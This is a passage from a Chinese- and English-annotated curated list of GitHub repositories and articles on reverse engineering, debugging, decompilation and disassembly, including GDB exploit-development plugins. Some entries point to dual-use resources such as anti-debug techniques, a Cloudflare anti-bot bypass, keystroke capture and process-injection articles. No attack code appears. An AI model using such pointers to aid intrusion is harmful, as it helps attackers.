- [**2619**星][2m] [Swift] [zhuhaow/nekit](https://github.com/zhuhaow/nekit) A toolkit for Network Extension Framework
- [**2615**星][1m] [JS] [knownsec/kcon](https://github.com/knownsec/kcon) KCon is a famous Hacker Con powered by Knownsec Team.
- [**2587**星][10d] [C] [esnet/iperf](https://github.com/esnet/iperf) A TCP, UDP, and SCTP network bandwidth measurement tool
- [**2535**星][3m] [Java] [jboss-javassist/javassist](https://github.com/jboss-javassist/javassist) Java bytecode engineering toolkit
- [**2478**星][11m] [JS] [weixin/miaow](https://github.com/weixin/Miaow) A set of plugins for Sketch include drawing links & marks, UI Kit & Color sync, font & text replacing.
- [**2474**星][25d] [JS] [vitaly-t/pg-promise](https://github.com/vitaly-t/pg-promise) PostgreSQL interface for Node.js
- [**2391**星][21d] [Java] [mock-server/mockserver](https://github.com/mock-server/mockserver) MockServer enables easy mocking of any system you integrate with via HTTP or HTTPS with clients written in Java, JavaScript and Ruby. MockServer also includes a proxy that introspects all proxied traffic including encrypted SSL traffic and supports Port Forwarding, Web Proxying (i.e. HTTP proxy), HTTPS Tunneling Proxying (using HTTP CONNECT) and…
- [**2364**星][10d] [C] [domoticz/domoticz](https://github.com/domoticz/domoticz) monitor and configure various devices like: Lights, Switches, various sensors/meters like Temperature, Rain, Wind, UV, Electra, Gas, Water and much more
- [**2345**星][4m] [Go] [vuvuzela/vuvuzela](https://github.com/vuvuzela/vuvuzela) Private messaging system that hides metadata
- [**2344**星][16d] [C] [tsl0922/ttyd](https://github.com/tsl0922/ttyd) Share your terminal over the web
- [**2340**星][2m] [JS] [pa11y/pa11y](https://github.com/pa11y/pa11y) Pa11y is your automated accessibility testing pal
- [**2305**星][2m] [C] [moby/hyperkit](https://github.com/moby/hyperkit) A toolkit for embedding hypervisor capabilities in your application
- [**2286**星][1m] [JS] [talkingdata/inmap](https://github.com/talkingdata/inmap) 大数据地理可视化
- [**2260**星][13d] [dumb-password-rules/dumb-password-rules](https://github.com/dumb-password-rules/dumb-password-rules) Shaming sites with dumb password rules.
- [**2217**星][14d] [Go] [google/mtail](https://github.com/google/mtail) extract whitebox monitoring data from application logs for collection in a timeseries database
- [**2214**星][18d] [getlantern/lantern-binaries](https://github.com/getlantern/lantern-binaries) Lantern installers binary downloads.
- [**2211**星][1m] [C++] [google/bloaty](https://github.com/google/bloaty) Bloaty McBloatface: a size profiler for binaries
- [**2194**星][13d] [C] [armmbed/mbedtls](https://github.com/armmbed/mbedtls) An open source, portable, easy to use, readable and flexible SSL library
- [**2137**星][19d] [Assembly] [pret/pokered](https://github.com/pret/pokered) disassembly of Pokémon Red/Blue
- [**2132**星][20d] [goq/telegram-list](https://github.com/goq/telegram-list) List of telegram groups, channels & bots // Список интересных групп, каналов и ботов телеграма // Список чатов для программистов
- [**2093**星][10d] [C] [flatpak/flatpak](https://github.com/flatpak/flatpak) Linux application sandboxing and distribution framework
- [**2092**星][26d] [swiftonsecurity/sysmon-config](https://github.com/swiftonsecurity/sysmon-config) Sysmon configuration file template with default high-quality event tracing
- [**2080**星][2m] [Go] [theupdateframework/notary](https://github.com/theupdateframework/notary) Notary is a project that allows anyone to have trust over arbitrary collections of data
- [**2053**星][4m] [Go] [maxmcd/webtty](https://github.com/maxmcd/webtty) Share a terminal session over WebRTC
- [**2053**星][24d] [C#] [mathewsachin/captura](https://github.com/mathewsachin/captura) Capture Screen, Audio, Cursor, Mouse Clicks and Keystrokes
- [**2052**星][13d] [C++] [openthread/openthread](https://github.com/openthread/openthread) OpenThread released by Google is an open-source implementation of the Thread networking protocol
- [**2031**星][10m] [C] [dekunukem/nintendo_switch_reverse_engineering](https://github.com/dekunukem/nintendo_switch_reverse_engineering) A look at inner workings of Joycon and Nintendo Switch
- [**2003**星][2m] [C++] [asmjit/asmjit](https://github.com/asmjit/asmjit) Complete x86/x64 JIT and AOT Assembler for C++
- [**1998**星][2m] [Swift] [github/softu2f](https://github.com/github/softu2f) Software U2F authenticator for macOS
- [**1955**星][11d] [Go] [solo-io/gloo](https://github.com/solo-io/gloo) An Envoy-Powered API Gateway
- [**1949**星][17d] [C] [microsoft/procdump-for-linux](https://github.com/microsoft/procdump-for-linux) Linux 版本的 ProcDump
- [**1930**星][22d] [C++] [mhammond/pywin32](https://github.com/mhammond/pywin32) Python for Windows (pywin32) Extensions
- [**1907**星][18d] [Go] [minishift/minishift](https://github.com/minishift/minishift) Run OpenShift 3.x locally
- [**1899**星][25d] [C++] [acidanthera/lilu](https://github.com/acidanthera/Lilu) Arbitrary kext and process patching on macOS
- [**1877**星][25d] [Java] [adoptopenjdk/jitwatch](https://github.com/adoptopenjdk/jitwatch) Log analyser / visualiser for Java HotSpot JIT compiler. Inspect inlining decisions, hot methods, bytecode, and assembly. View results in the JavaFX user interface.
- [**1863**星][10d] [C++] [pytorch/glow](https://github.com/pytorch/glow) Compiler for Neural Network hardware accelerators
- [**1859**星][12m] [C++] [googlecreativelab/open-nsynth-super](https://github.com/googlecreativelab/open-nsynth-super) Open NSynth Super is an experimental physical interface for the NSynth algorithm
- [**1854**星][19d] [C] [github/glb-director](https://github.com/github/glb-director) GitHub Load Balancer Director and supporting tooling.
- [**1852**星][1y] [Py] [jinnlynn/genpac](https://github.com/jinnlynn/genpac) PAC/Dnsmasq/Wingy file Generator, working with gfwlist, support custom rules.
- [**1851**星][1y] [Java] [yeriomin/yalpstore](https://github.com/yeriomin/yalpstore) Download apks from Google Play Store
- [**1848**星][9m] [Py] [netflix-skunkworks/stethoscope](https://github.com/Netflix-Skunkworks/stethoscope) Personalized, user-focused recommendations for employee information security.
- [**1846**星][3m] [C] [retroplasma/earth-reverse-engineering](https://github.com/retroplasma/earth-reverse-engineering) Reversing Google's 3D satellite mode
- [**1837**星][3m] [Go] [influxdata/kapacitor](https://github.com/influxdata/kapacitor) Open source framework for processing, monitoring, and alerting on time series data
- [**1827**星][13d] [Py] [trailofbits/manticore](https://github.com/trailofbits/manticore) 动态二进制分析工具，支持符号执行（symbolic execution）、污点分析（taint analysis）、运行时修改。
- [**1816**星][29d] [Go] [gdamore/tcell](https://github.com/gdamore/tcell) Tcell is an alternate terminal package, similar in some ways to termbox, but better in others.
- [**1786**星][1m] [C++] [apitrace/apitrace](https://github.com/apitrace/apitrace) Tools for tracing OpenGL, Direct3D, and other graphics APIs
- [**1781**星][26d] [PHP] [ezyang/htmlpurifier](https://github.com/ezyang/htmlpurifier) Standards compliant HTML filter written in PHP
- [**1779**星][29d] [17mon/china_ip_list](https://github.com/17mon/china_ip_list)
- [**1761**星][1y] [JS] [puppeteer/examples](https://github.com/puppeteer/examples) Use case-driven examples for using Puppeteer and headless chrome
- [**1761**星][13d] [C] [google/wuffs](https://github.com/google/wuffs) Wrangling Untrusted File Formats Safely
- [**1756**星][16d] [PHP] [wordpress/wordpress-coding-standards](https://github.com/wordpress/wordpress-coding-standards) PHP_CodeSniffer rules (sniffs) to enforce WordPress coding conventions
- [**1727**星][8d] [TSQL] [brentozarultd/sql-server-first-responder-kit](https://github.com/brentozarultd/sql-server-first-responder-kit) sp_Blitz, sp_BlitzCache, sp_BlitzFirst, sp_BlitzIndex, and other SQL Server scripts for health checks and performance tuning.
- [**1722**星][4m] [Py] [anorov/cloudflare-scrape](https://github.com/anorov/cloudflare-scrape) A Python module to bypass Cloudflare's anti-bot page.
- [**1714**星][1m] [Go] [hashicorp/memberlist](https://github.com/hashicorp/memberlist) Golang package for gossip based membership and failure detection
- [**1698**星][21d] [C++] [microsoft/detours](https://github.com/microsoft/detours) Detours is a software package for monitoring and instrumenting API calls on Windows. It is distributed in source code form.
- [**1676**星][10d] [Java] [apache/geode](https://github.com/apache/geode) Apache Geode
- [**1672**星][7m] [C] [easyhook/easyhook](https://github.com/easyhook/easyhook) The reinvention of Windows API Hooking
- [**1668**星][3m] [Py] [boppreh/keyboard](https://github.com/boppreh/keyboard) Hook and simulate global keyboard events on Windows and Linux.
- [**1659**星][25d] [JS] [tylerbrock/mongo-hacker](https://github.com/tylerbrock/mongo-hacker) MongoDB Shell Enhancements for Hackers
- [**1650**星][13d] [sarojaba/awesome-devblog](https://github.com/sarojaba/awesome-devblog) 어썸데브블로그. 국내 개발 블로그 모음(only 실명으로).
- [**1637**星][12d] [JS] [efforg/privacybadger](https://github.com/efforg/privacybadger) Privacy Badger is a browser extension that automatically learns to block invisible trackers.
- [**1624**星][9m] [JS] [localtunnel/server](https://github.com/localtunnel/server) server for localtunnel.me
- [**1620**星][16d] [C++] [lief-project/lief](https://github.com/lief-project/lief) Library to Instrument Executable Formats
- [**1592**星][2m] [ObjC] [ealeksandrov/provisionql](https://github.com/ealeksandrov/provisionql) Quick Look plugin for apps and provisioning profile files
- [**1584**星][1y] [C] [qihoo360/phptrace](https://github.com/qihoo360/phptrace) A tracing and troubleshooting tool for PHP scripts.
- [**1572**星][1m] [C] [codahale/bcrypt-ruby](https://github.com/codahale/bcrypt-ruby) Ruby binding for the OpenBSD bcrypt() password hashing algorithm, allowing you to easily store a secure hash of your users' passwords.
- [**1562**星][1m] [C] [p-gen/smenu](https://github.com/p-gen/smenu) Terminal utility that reads words from standard input or from a file and creates an interactive selection window just below the cursor. The selected word(s) are sent to standard output for further processing.
- [**1562**星][19d] [Java] [gchq/gaffer](https://github.com/gchq/Gaffer) A large-scale entity and relation database supporting aggregation of properties
- [**966**星][7m] [PHP] [jenssegers/optimus](https://github.com/jenssegers/optimus) id transformation With this library, you can transform your internal id's to obfuscated integers based on Knuth's integer has和
- [**906**星][7m] [C++] [dfhack/dfhack](https://github.com/DFHack/dfhack) Memory hacking library for Dwarf Fortress and a set of tools that use it
- [**895**星][12m] [JS] [levskaya/jslinux-deobfuscated](https://github.com/levskaya/jslinux-deobfuscated) An old version of Mr. Bellard's JSLinux rewritten to be human readable, hand deobfuscated and annotated.
- [**706**星][1y] [Jupyter Notebook] [anishathalye/obfuscated-gradients](https://github.com/anishathalye/obfuscated-gradients) Obfuscated Gradients Give a False Sense of Security: Circumventing Defenses to Adversarial Examples
- [**658**星][10m] [Jupyter Notebook] [supercowpowers/data_hacking](https://github.com/SuperCowPowers/data_hacking) Data Hacking Project
- [**657**星][1y] [Rust] [endgameinc/xori](https://github.com/endgameinc/xori) Xori is an automation-ready disassembly and static analysis library for PE32, 32+ and shellcode
- [**637**星][21d] [PS] [olafhartong/sysmon-modular](https://github.com/olafhartong/sysmon-modular) sysmon配置模块收集
- [**587**星][6m] [nshalabi/sysmontools](https://github.com/nshalabi/sysmontools) Utilities for Sysmon
- [**568**星][11m] [JS] [raineorshine/solgraph](https://github.com/raineorshine/solgraph) Visualize Solidity control flow for smart contract security analysis.
- [**523**星][2m] [mhaggis/sysmon-dfir](https://github.com/mhaggis/sysmon-dfir) Sources, configuration and how to detect evil things utilizing Microsoft Sysmon.
- [**522**星][4m] [Java] [java-deobfuscator/deobfuscator](https://github.com/java-deobfuscator/deobfuscator) Java 代码反混淆工具
- [**507**星][8m] [JS] [mindedsecurity/jstillery](https://github.com/mindedsecurity/jstillery) Advanced JavaScript Deobfuscation via Partial Evaluation
- [**449**星][12m] [C++] [ntquery/scylla](https://github.com/ntquery/scylla) Imports Reconstructor
- [**447**星][3m] [Go] [retroplasma/flyover-reverse-engineering](https://github.com/retroplasma/flyover-reverse-engineering) Reversing Apple's 3D satellite mode
- [**446**星][11m] [Batchfile] [ion-storm/sysmon-config](https://github.com/ion-storm/sysmon-config) Advanced Sysmon configuration, Installer & Auto Updater with high-quality event tracing
- [**408**星][19d] [Py] [crytic/slither](https://github.com/crytic/slither) Static Analyzer for Solidity
- [**383**星][1y] [HTML] [maestron/reverse-engineering-tutorials](https://github.com/maestron/reverse-engineering-tutorials) Reverse Engineering Tutorials
- [**344**星][1y] [Ruby] [calebfenton/dex-oracle](https://github.com/calebfenton/dex-oracle) A pattern based Dalvik deobfuscator which uses limited execution to improve semantic analysis
- [**308**星][25d] [Py] [baderj/domain_generation_algorithms](https://github.com/baderj/domain_generation_algorithms) 域名生成算法
- [**306**星][2m] [C] [nagyd/sdlpop](https://github.com/nagyd/sdlpop) An open-source port of Prince of Persia, based on the disassembly of the DOS version.
- [**291**星][28d] [C] [tomb5/tomb5](https://github.com/tomb5/tomb5) Chronicles Disassembly translated to C source code.
- [**265**星][3m] [Assembly] [pret/pokeyellow](https://github.com/pret/pokeyellow) Disassembly of Pokemon Yellow
- [**240**星][4m] [JS] [consensys/surya](https://github.com/consensys/surya) A set of utilities for exploring Solidity contracts
- [**214**星][2m] [Py] [rpisec/llvm-deobfuscator](https://github.com/rpisec/llvm-deobfuscator)
- [**211**星][12m] [Java] [neo23x0/fnord](https://github.com/neo23x0/fnord) Pattern Extractor for Obfuscated Code
***
## <a id="bc2b78af683e7ba983205592de8c3a7a"></a>工具-其他
***
## <a id="4fe330ae3e5ce0b39735b1bfea4528af"></a>angr
### <a id="1ede5ade1e55074922eb4b6386f5ca65"></a>工具
- [**534**星][12d] [Py] [angr/angr-doc](https://github.com/angr/angr-doc) Documentation for the angr suite
- [**305**星][2m] [Py] [salls/angrop](https://github.com/salls/angrop) a rop gadget finder and chain builder
### <a id="042ef9d415350eeb97ac2539c2fa530e"></a>文章
- 2016.04 [] [Solving kao's toy project with symbolic execution and angr](https://0xec.blogspot.com/2016/04/solving-kaos-toy-project-with-symbolic.html)
- 2016.02 [theobsidiantower] [Angr and me](https://theobsidiantower.com/2016/02/11/4047a80b3927bd0a09363e7ccd202effe4b336aa.html)
- 2014.08 [3xp10it] [angr解题](http://3xp10it.cc/%E4%BA%8C%E8%BF%9B%E5%88%B6/2017/11/16/angr%E8%A7%A3%E9%A2%98/)
- 2014.08 [3xp10it] [angr解题](http://3xp10it.cc/%E4%BA%8C%E8%BF%9B%E5%88%B6/2017/11/16/angr%E8%A7%A3%E9%A2%98/)
***
## <a id="324874bb7c3ead94eae6f1fa1af4fb68"></a>Debug&&调试
### <a id="d22bd989b2fdaeda14b64343b472dfb6"></a>工具
- [**1450**星][10d] [Go] [google/gapid](https://github.com/google/gapid) Graphics API Debugger
- [**1422**星][17d] [C++] [eteran/edb-debugger](https://github.com/eteran/edb-debugger) edb is a cross platform AArch32/x86/x86-64 debugger.
- [**1413**星][19d] [Go] [cosmos72/gomacro](https://github.com/cosmos72/gomacro) Interactive Go interpreter and debugger with REPL, Eval, generics and Lisp-like macros
- [**1275**星][4m] [Go] [solo-io/squash](https://github.com/solo-io/squash) The debugger for microservices
- [**1147**星][5m] [C++] [cgdb/cgdb](https://github.com/cgdb/cgdb) Console front-end to the GNU debugger
- [**1128**星][20d] [C] [blacksphere/blackmagic](https://github.com/blacksphere/blackmagic) In application debugger for ARM Cortex microcontrollers.
- [**899**星][10d] [Py] [derekselander/lldb](https://github.com/derekselander/lldb) A collection of LLDB aliases/regexes and Python scripts to aid in your debugging sessions
- [**836**星][8d] [C++] [tasvideos/bizhawk](https://github.com/tasvideos/bizhawk) BizHawk is a multi-system emulator written in C#. BizHawk provides nice features for casual gamers such as full screen, and joypad support in addition to full rerecording and debugging tools for all system cores.
- [**560**星][21d] [C#] [microsoft/miengine](https://github.com/microsoft/miengine) The Visual Studio MI Debug Engine ("MIEngine") provides an open-source Visual Studio Debugger extension that works with MI-enabled debuggers such as gdb, lldb, and clrdbg.
- [**521**星][1y] [C] [wubingzheng/memleax](https://github.com/wubingzheng/memleax) debugs memory leak of running process. Not maintained anymore, try `libleak` please.
- [**462**星][5m] [C++] [emoon/prodbg](https://github.com/emoon/prodbg) Debugging the way it's meant to be done
- [**423**星][4m] [C++] [cobaltfusion/debugviewpp](https://github.com/cobaltfusion/debugviewpp) DebugView++, collects, views, filters your application logs, and highlights information that is important to you!
- [**418**星][26d] [C++] [simonkagstrom/kcov](https://github.com/simonkagstrom/kcov) Code coverage tool for compiled programs, Python and Bash which uses debugging information to collect and report data without special compilation options
- [**377**星][1m] [Py] [pdbpp/pdbpp](https://github.com/pdbpp/pdbpp) pdb++, a drop-in replacement for pdb (the Python debugger)
- [**332**星][8m] [Py] [romanvm/python-web-pdb](https://github.com/romanvm/python-web-pdb) Web-based remote UI for Python's PDB debugger
- [**306**星][21d] [Java] [widdix/aws-s3-virusscan](https://github.com/widdix/aws-s3-virusscan) Free Antivirus for S3 Buckets
- [**291**星][12d] [Py] [sosreport/sos](https://github.com/sosreport/sos) A unified tool for collecting system logs and other debug information
- [**285**星][2m] [C++] [changeofpace/viviennevmm](https://github.com/changeofpace/viviennevmm) VivienneVMM is a stealthy debugging framework implemented via an Intel VT-x hypervisor.
- [**272**星][4m] [Py] [mariovilas/winappdbg](https://github.com/mariovilas/winappdbg) WinAppDbg Debugger
- [**270**星][21d] [Py] [ionelmc/python-manhole](https://github.com/ionelmc/python-manhole) Debugging manhole for python applications.
- [**250**星][2m] [Py] [quantopian/qdb](https://github.com/quantopian/qdb) Quantopian Remote Debugger for Python
- [**240**星][6m] [C++] [facebook/ds2](https://github.com/facebook/ds2) Debug server for lldb.
- [**239**星][8m] [C++] [strivexjun/xantidebug](https://github.com/strivexjun/xantidebug) VMProtect 3.x Anti-debug Method Improved
- [**239**星][8m] [Py] [beeware/bugjar](https://github.com/beeware/bugjar) A interactive graphical debugger for Python code.
- [**233**星][2m] [Py] [gilligan/vim-lldb](https://github.com/gilligan/vim-lldb) lldb debugger integration plugin for vim
- [**220**星][9m] [letoram/senseye](https://github.com/letoram/senseye) Dynamic Visual Debugging / Reverse Engineering Toolsuite
- [**218**星][2m] [Py] [nteseyes/pylane](https://github.com/nteseyes/pylane) An python vm injector with debug tools, based on gdb.
- [**213**星][12d] [C++] [thalium/icebox](https://github.com/thalium/icebox) Virtual Machine Introspection, Tracing & Debugging
- [**209**星][2m] [C] [joyent/mdb_v8](https://github.com/joyent/mdb_v8) postmortem debugging for Node.js and other V8-based programs
- [**200**星][6m] [C++] [rainers/cv2pdb](https://github.com/rainers/cv2pdb) converter of DMD CodeView/DWARF debug information to PDB files
### <a id="136c41f2d05739a74c6ec7d8a84df1e8"></a>文章
***
## <a id="9f8d3f2c9e46fbe6c25c22285c8226df"></a>BAP
### <a id="f10e9553770db6f98e8619dcd74166ef"></a>工具
- [**1106**星][14d] [OCaml] [binaryanalysisplatform/bap](https://github.com/binaryanalysisplatform/bap) Binary Analysis Platform
- [**411**星][13d] [HTML] [w3c/webappsec](https://github.com/w3c/webappsec) Web App安全工作组
- [**299**星][17d] [JS] [w3c/webappsec-trusted-types](https://github.com/w3c/webappsec-trusted-types) A browser API to prevent DOM-Based Cross Site Scripting in modern web applications.
### <a id="e111826dde8fa44c575ce979fd54755d"></a>文章
***
## <a id="2683839f170250822916534f1db22eeb"></a>BinNavi
### <a id="2e4980c95871eae4ec0e76c42cc5c32f"></a>工具
- [**382**星][26d] [C++] [google/binexport](https://github.com/google/binexport) 将反汇编以Protocol Buffer的形式导出为PostgreSQL数据库, 导入到BinNavi中使用
- 重复区段: [IDA->插件->导入导出->BinNavi](#11139e7d6db4c1cef22718868f29fe12) |
### <a id="ff4dc5c746cb398d41fb69a4f8dfd497"></a>文章
- 2015.12 [summitroute] [Setting up fREedom and BinNavi](https://summitroute.com/blog/2015/12/31/setting_up_freedom_and_binnavi/)
- 2015.12 [addxorrol] [Open-Source BinNavi ... and fREedom](http://addxorrol.blogspot.com/2015/12/open-source-binnavi-and-freedom.html)
- 2015.08 [freebuf] [逆向分析神器BinNavi开源了](http://www.freebuf.com/sectool/75529.html)
- 2008.11 [addxorrol] [BinDiff / BinNavi User Forum](http://addxorrol.blogspot.com/2008/11/bindiff-binnavi-user-forum.html)
- 2008.11 [addxorrol] [BinNavi v2 and PHP !](http://addxorrol.blogspot.com/2008/11/binnavi-v2-and-php.html)
***
## <a id="0971f295b0f67dc31b7aa45caf3f588f"></a>Decompiler&&反编译器
### <a id="e67c18b4b682ceb6716388522f9a1417"></a>工具
- [**20779**星][8d] [Java] [skylot/jadx](https://github.com/skylot/jadx) dex 转 java 的反编译器
- [**7733**星][1m] [Java] [java-decompiler/jd-gui](https://github.com/java-decompiler/jd-gui) A standalone Java Decompiler GUI
- [**3135**星][26d] [Java] [deathmarine/luyten](https://github.com/deathmarine/luyten) An Open Source Java Decompiler Gui for Procyon
- [**1867**星][1y] [Java] [jindrapetrik/jpexs-decompiler](https://github.com/jindrapetrik/jpexs-decompiler) JPEXS Free Flash Decompiler
- [**1652**星][12m] [Java] [fesh0r/fernflower](https://github.com/fesh0r/fernflower) Unofficial mirror of FernFlower Java decompiler (All pulls should be submitted upstream)
- [**1466**星][12d] [Py] [rocky/python-uncompyle6](https://github.com/rocky/python-uncompyle6) Python反编译器，跨平台
- [**1084**星][4m] [Py] [storyyeller/krakatau](https://github.com/storyyeller/krakatau) Java decompiler, assembler, and disassembler
- [**764**星][12m] [C++] [comaeio/porosity](https://github.com/comaeio/porosity) *UNMAINTAINED* Decompiler and Security Analysis tool for Blockchain-based Ethereum Smart-Contracts
- [**673**星][18d] [C#] [uxmal/reko](https://github.com/uxmal/reko) Reko is a binary decompiler.
- [**671**星][11m] [C++] [zrax/pycdc](https://github.com/zrax/pycdc) C++ python bytecode disassembler and decompiler
- [**538**星][6m] [Java] [java-decompiler/jd-eclipse](https://github.com/java-decompiler/jd-eclipse) A Java Decompiler Eclipse plugin
- [**347**星][16d] [C#] [steamdatabase/valveresourceformat](https://github.com/steamdatabase/valveresourceformat) Valve's Source 2 resource file format (also known as Stupid Valve Format) parser and decompiler.
- [**331**星][11d] [Java] [leibnitz27/cfr](https://github.com/leibnitz27/cfr) This is the public repository for the CFR Java decompiler
- [**327**星][2m] [C++] [silverf0x/rpcview](https://github.com/silverf0x/rpcview) RpcView is a free tool to explore and decompile Microsoft RPC interfaces
- [**283**星][8m] [Shell] [venshine/decompile-apk](https://github.com/venshine/decompile-apk) APK 反编译
- [**243**星][3m] [Java] [kwart/jd-cmd](https://github.com/kwart/jd-cmd) Command line Java Decompiler
- [**242**星][11d] [C#] [icsharpcode/avaloniailspy](https://github.com/icsharpcode/avaloniailspy) Avalonia-based .NET Decompiler (port of ILSpy)
- [**240**星][2m] [Java] [ata4/bspsrc](https://github.com/ata4/bspsrc) A Source engine map decompiler
- [**232**星][1y] [C++] [wwwg/wasmdec](https://github.com/wwwg/wasmdec) WebAssembly to C decompiler
- [**226**星][11d] [C++] [boomerangdecompiler/boomerang](https://github.com/BoomerangDecompiler/boomerang) Boomerang Decompiler - Fighting the code-rot :)
### <a id="a748b79105651a8fd8ae856a7dc2b1de"></a>文章
***
## <a id="2df6d3d07e56381e1101097d013746a0"></a>Disassemble&&反汇编
### <a id="59f472c7575951c57d298aef21e7d73c"></a>工具
- [**1374**星][20d] [C] [zyantific/zydis](https://github.com/zyantific/zydis) 快速的轻量级x86/x86-64 反汇编库
- [**1346**星][12m] [Rust] [das-labor/panopticon](https://github.com/das-labor/panopticon) A libre cross-platform disassembler.
- [**877**星][11m] [C++] [wisk/medusa](https://github.com/wisk/medusa) An open source interactive disassembler
- [**835**星][8d] [GLSL] [khronosgroup/spirv-cross](https://github.com/khronosgroup/spirv-cross) a practical tool and library for performing reflection on SPIR-V and disassembling SPIR-V back to high level languages.
- [**828**星][3m] [C++] [redasmorg/redasm](https://github.com/redasmorg/redasm) The OpenSource Disassembler
- [**627**星][3m] [C] [gdabah/distorm](https://github.com/gdabah/distorm) Powerful Disassembler Library For x86/AMD64
- [**430**星][2m] [C#] [0xd4d/iced](https://github.com/0xd4d/iced) x86/x64 disassembler, instruction decoder & encoder
- [**351**星][21d] [Ruby] [jjyg/metasm](https://github.com/jjyg/metasm) This is the main repository for metasm, a free assembler / disassembler / compiler written in ruby
- [**246**星][5m] [Py] [bontchev/pcodedmp](https://github.com/bontchev/pcodedmp) A VBA p-code disassembler
### <a id="a6eb5a22deb33fc1919eaa073aa29ab5"></a>文章
***
## <a id="975d9f08e2771fccc112d9670eae1ed1"></a>GDB
### <a id="5f4381b0a90d88dd2296c2936f7e7f70"></a>工具
- [**7019**星][10d] [JS] [cs01/gdbgui](https://github.com/cs01/gdbgui) Browser-based frontend to gdb (gnu debugger). Add breakpoints, view the stack, visualize data structures, and more in C, C++, Go, Rust, and Fortran. Run gdbgui from the terminal and a new tab will open in your browser.
- [**6052**星][13d] [Py] [cyrus-and/gdb-dashboard](https://github.com/cyrus-and/gdb-dashboard) Modular visual interface for GDB in Python
- [**3784**星][11m] [Py] [longld/peda](https://github.com/longld/peda) Python Exploit Development Assistance for GDB
- [**2568**星][1m] [Py] [hugsy/gef](https://github.com/hugsy/gef) gdb增强工具，使用Python API，用于漏洞开发和逆向分析。
- [**2439**星][16d] [Py] [pwndbg/pwndbg](https://github.com/pwndbg/pwndbg) GDB插件，辅助漏洞开发和逆向
- [**1417**星][3m] [Go] [hellogcc/100-gdb-tips](https://github.com/hellogcc/100-gdb-tips) A collection of gdb tips. 100 maybe just mean many here.
- [**452**星][3m] [Py] [scwuaptx/pwngdb](https://github.com/scwuaptx/pwngdb) gdb for pwn
- [**446**星][1y] [Py] [jfoote/exploitable](https://github.com/jfoote/exploitable) The 'exploitable' GDB plugin. I don't work at CERT anymore, but here is the original homepage:
- [**244**星][2m] [JS] [bet4it/hyperpwn](https://github.com/bet4it/hyperpwn) A hyper plugin to provide a flexible GDB GUI with the help of GEF, pwndbg or peda
- [**208**星][2m] [Py] [sakhnik/nvim-gdb](https://github.com/sakhnik/nvim-gdb) Neovim thin wrapper for GDB, LLDB and PDB
### <a id="37b17362d72f9c8793973bc4704893a2"></a>文章
- 2019.11 [ocallahan] [Supercharging Gdb With Pernosco](https://robert.ocallahan.org/2019/11/supercharging-gdb-with-pernosco.html)
- 2019.10 [FOSSiFoundation] [A Unified Debug Server for Deeply Embedded Systems and GDB/LLDB - Simon Cook - ORConf 2019](https://www.youtube.com/watch?v=bfxHGq2m8M8)
- 2019.10 [TheLinuxFoundation] [Using Serial kdb / kgdb to Debug the Linux Kernel - Douglas Anderson, Google](https://www.youtube.com/watch?v=HBOwoSyRmys)
- 2019.09 [GNUToolsCauldron] [GDB: Tab-Completion & Command Options - GNU Tools Cauldron 2019](https://www.youtube.com/watch?v=jEllWJ0at9o)
- 2019.09 [GNUToolsCauldron] [GDB on s390x: To-dos and Challenges - GNU Tools Cauldron 2019](https://www.youtube.com/watch?v=iQAd5Atlz1s)
- 2019.09 [GNUToolsCauldron] [GDB BoF - GNU Tools Cauldron 2019](https://www.youtube.com/watch?v=vdzpbnGDvZM)
- 2019.09 [GNUToolsCauldron] [A New Debug Server for Supporting GDB on Embedded Platforms - GNU Tools Cauldron 2019](https://www.youtube.com/watch?v=mQYKEzWAoqI)
- 2019.05 [tunnelshade] [Quick linux kernel with gdb setup with little help from Linux distros](https://tunnelshade.in/blog/2019/05/linux-kernel-gdb-setup/)
- 2019.02 [360] [ARM汇编之堆栈溢出实战分析四(GDB)](https://www.anquanke.com/post/id/170651/)
- 2019.01 [freebuf] [ARM汇编之堆栈溢出实战分析三（GDB）](https://www.freebuf.com/news/193664.html)
- 2019.01 [360] [ARM汇编之堆栈溢出实战分析二(GDB)](https://www.anquanke.com/post/id/169186/)
- 2019.01 [360] [ARM汇编之堆栈溢出实战分析（GDB）](https://www.anquanke.com/post/id/169071/)
- 2018.09 [blackroomsec] [Reversing small crackme w/ GDB-Peda](https://www.blackroomsec.com/reversing-small-crackme-w-gdb-peda/)
- 2018.09 [doyler] [Metasploit adduser Analysis via GDB (SLAE Exam Assignment #5.2)](https://www.doyler.net/security-not-included/metasploit-adduser-analysis)
- 2018.07 [pediy] [[编程][翻译] 用 gdb 学 C 语言](https://bbs.pediy.com/thread-229985.htm)
- 2018.05 [djmanilaice] [Ignorance .gdbinit](http://djmanilaice.blogspot.com/2018/05/ignorance-gdbinit.html)
- 2018.05 [360] [DEFCON CHINA议题解读 | Triton和符号执行在 GDB 上](https://www.anquanke.com/post/id/144984/)
- 2018.03 [aliyun] [利用GDB实现进程注入](https://xz.aliyun.com/t/2164)
- 2018.02 [freebuf] [GDB调试CVE-2018-5711 PHP-GD拒绝服务漏洞](http://www.freebuf.com/vuls/162029.html)
- 2018.02 [HITCON] [[HITCON CMT 2017] R0D202 - 陳威伯 - Triton and Symbolic execution on GDB](https://www.youtube.com/watch?v=LOTQIAVXdCI)
***
## <a id="70e64e3147675c9bcd48d4f475396e7f"></a>Monitor&&监控&&Trace&&追踪
### <a id="cd76e644d8ddbd385939bb17fceab205"></a>工具
- [**1419**星][9m] [C] [namhyung/uftrace](https://github.com/namhyung/uftrace) Function (graph) tracer for user-space
# <a id="86cb7d8f548ca76534b5828cb5b0abce"></a>Radare2
***
## <a id="0e08f9478ed8388319f267e75e2ef1eb"></a>插件&&脚本
### <a id="ec3f0b5c2cf36004c4dd3d162b94b91a"></a>Radare2
- [**11588**星][12d] [C] [radareorg/radare2](https://github.com/radareorg/radare2) unix-like reverse engineering framework and commandline tools
### <a id="6922457cb0d4b6b87a34caf39aa31dfe"></a>新添加的
- [**410**星][6m] [Py] [itayc0hen/a-journey-into-radare2](https://github.com/itayc0hen/a-journey-into-radare2) A series of tutorials about radare2 framework from
- [**339**星][28d] [TeX] [radareorg/radare2book](https://github.com/radareorg/radare2book) Radare2 official book
- [**259**星][1m] [C] [radareorg/r2dec-js](https://github.com/radareorg/r2dec-js) radare2插件,将汇编代码反编译为C伪代码
- [**258**星][4m] [Rust] [radareorg/radeco](https://github.com/radareorg/radeco) radare2-based decompiler and symbol executor
- [**202**星][3m] [PS] [wiredpulse/posh-r2](https://github.com/wiredpulse/posh-r2) PowerShell - Rapid Response... For the incident responder in you!
### <a id="1a6652a1cb16324ab56589cb1333576f"></a>与其他工具交互
#### <a id="dfe53924d678f9225fc5ece9413b890f"></a>未分类
